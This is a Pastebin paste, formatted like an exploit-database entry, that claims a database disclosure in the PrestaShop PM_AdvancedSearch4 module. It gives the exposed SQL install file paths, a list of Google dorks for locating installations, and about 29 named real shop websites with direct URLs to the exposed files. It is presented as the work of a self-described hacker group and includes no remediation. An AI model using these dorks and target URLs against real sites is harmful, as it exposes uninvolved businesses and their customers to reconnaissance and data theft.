API tools faq
paste
KingSkrupellos

PrestaShop PM_AdvancedSearch4 1.6.1.18 Database Disclosure

KingSkrupellos
Dec 23rd, 2018
555
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.26 KB | None | 0 0
raw download clone embed print report
  1. #################################################################################################
  2.  
  3. # Exploit Title : PrestaShop PM_AdvancedSearch4 Modules 1.6.1.18 Database Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
  5. # Date : 24/12/2018
  6. # Vendor Homepage : prestashop.com
  7. # Software Download Link : addons.prestashop.com/fr/recherches-filtres/2778-advanced-search-4.html
  8. + addons.prestashop.com/es/busquedas-filtros/2778-advanced-search-4.html
  9. + addons.prestashop.com/en/search-filters/2778-advanced-search-4.html
  10. # Software Price : 200 Euro
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Version Information : 1.4.6.2 - 1.4.10.0 - 1.4.9.0 - 1.4.8.2 -
  14. 1.4.7.0 - 1.5.6.0 - 1.6.0.12± - 1.6.1.1± - 1.6.1.17 - 1.6.1.4 - 1.6.1.18
  15. # Exploit Risk : Medium
  16. # Google Dorks : inurl:''/modules/pm_advancedsearch4/''
  17. intext:''© 2011 TS3V - Alarme-camera.fr''
  18. intext:''cron module by samdha.net''
  19. intext:''site realise par studio gonzo!''
  20. intext:''© 2018 · acmotos · Tienda online de accesorios y recambios de moto.''
  21. intext:''© CordesExpress groupe MPROSHOP - Tous droits réservés''
  22. intext:'' © 2018 Approach Diffusion''
  23. intext:''Piecesanspermis.fr 2018. Tous droit réservés.''
  24. intext:''Design graphique : Regard Sur - Conception de site e-commerce : Sarah Ligerot''
  25. intext:''© 2015-2018 - GROUPE GENIN''
  26. intext:''2014 Advanced Power Systems All Rights Reserved'' site:shop
  27. intext:''conception anamorphik'' site:fr
  28. intext:''Copyright © MyBeers - 2018 |Création Tooeasy''
  29. intext:''Powered by Blulab'' site:pl
  30. intext:''© Design by cybervelo''
  31. # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ]
  32. CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
  33.  
  34. #################################################################################################
  35.  
  36. # Exploit :
  37.  
  38. /modules/pm_advancedsearch4/install_base.sql
  39.  
  40. /modules/pm_advancedsearch4/install_dyn.sql
  41.  
  42. #################################################################################################
  43.  
  44. # Example Vulnerable Sites =>
  45.  
  46. [+] unami-store.com/modules/pm_advancedsearch4/install_base.sql
  47.  
  48. [+] timeshoes.fr/modules/pm_advancedsearch4/install_base.sql
  49.  
  50. [+] zazopack.com/modules/pm_advancedsearch4/install_base.sql
  51.  
  52. [+] modelisme-vartex.com/modules/pm_advancedsearch4/install_dyn.sql
  53.  
  54. [+] interieur-expression.com/modules/pm_advancedsearch4/install_dyn.sql
  55.  
  56. [+] livingstonesgallery.com/modules/pm_advancedsearch4/install_dyn.sql
  57.  
  58. [+] lounacasa.com/modules/pm_advancedsearch4/install_dyn.sql
  59.  
  60. [+] formulapesca.com/modules/pm_advancedsearch4/install_dyn.sql
  61.  
  62. [+] acmotos.com/modules/pm_advancedsearch4/install_dyn.sql
  63.  
  64. [+] vspieces.com/modules/pm_advancedsearch4/install_dyn.sql
  65.  
  66. [+] fesea.shop/modules/pm_advancedsearch4/install_dyn.sql
  67.  
  68. [+] bikila.com/modules/pm_advancedsearch4/install_dyn.sql
  69.  
  70. [+] alsace-sports-nautiques.com/modules/pm_advancedsearch4/install_dyn.sql
  71.  
  72. [+] cordesexpress.com/modules/pm_advancedsearch4/install_dyn.sql
  73.  
  74. [+] cybervelo.com/modules/pm_advancedsearch4/install_base.sql
  75.  
  76. [+] erbolario.pl/modules/pm_advancedsearch4/install_base.sql
  77.  
  78. [+] slowfoodeditore.it/modules/pm_advancedsearch4/install_base.sql
  79.  
  80. [+] les7royaumes.com/modules/pm_advancedsearch4/install_base.sql
  81.  
  82. [+] piecesanspermis.fr/modules/pm_advancedsearch4/install_base.sql
  83.  
  84. [+] lespaniersdedavid.com/modules/pm_advancedsearch4/install_base.sql
  85.  
  86. [+] phytomedica.fr/modules/pm_advancedsearch4/install_base.sql
  87.  
  88. [+] marilashoes.com/modules/pm_advancedsearch4/install_base.sql
  89.  
  90. [+] well.fr/modules/pm_advancedsearch4/install_base.sql
  91.  
  92. [+] avecdesbijoux.fr/modules/pm_advancedsearch4/install_base.sql
  93.  
  94. [+] groupe-genin.fr/modules/pm_advancedsearch4/install_base.sql
  95.  
  96. [+] onduleur.shop/modules/pm_advancedsearch4/install_base.sql
  97.  
  98. [+] mini-auto-parts.co.uk/modules/pm_advancedsearch4/install_base.sql
  99.  
  100. [+] mybeers.fr/modules/pm_advancedsearch4/install_base.sql
  101.  
  102. [+] ventidecor.com/modules/pm_advancedsearch4/install_base.sql
  103.  
  104. #################################################################################################
  105.  
  106. # Discovered By Hacker KingSkrupellos from Cyberizm.Org Digital Security Team
  107.  
  108. #################################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!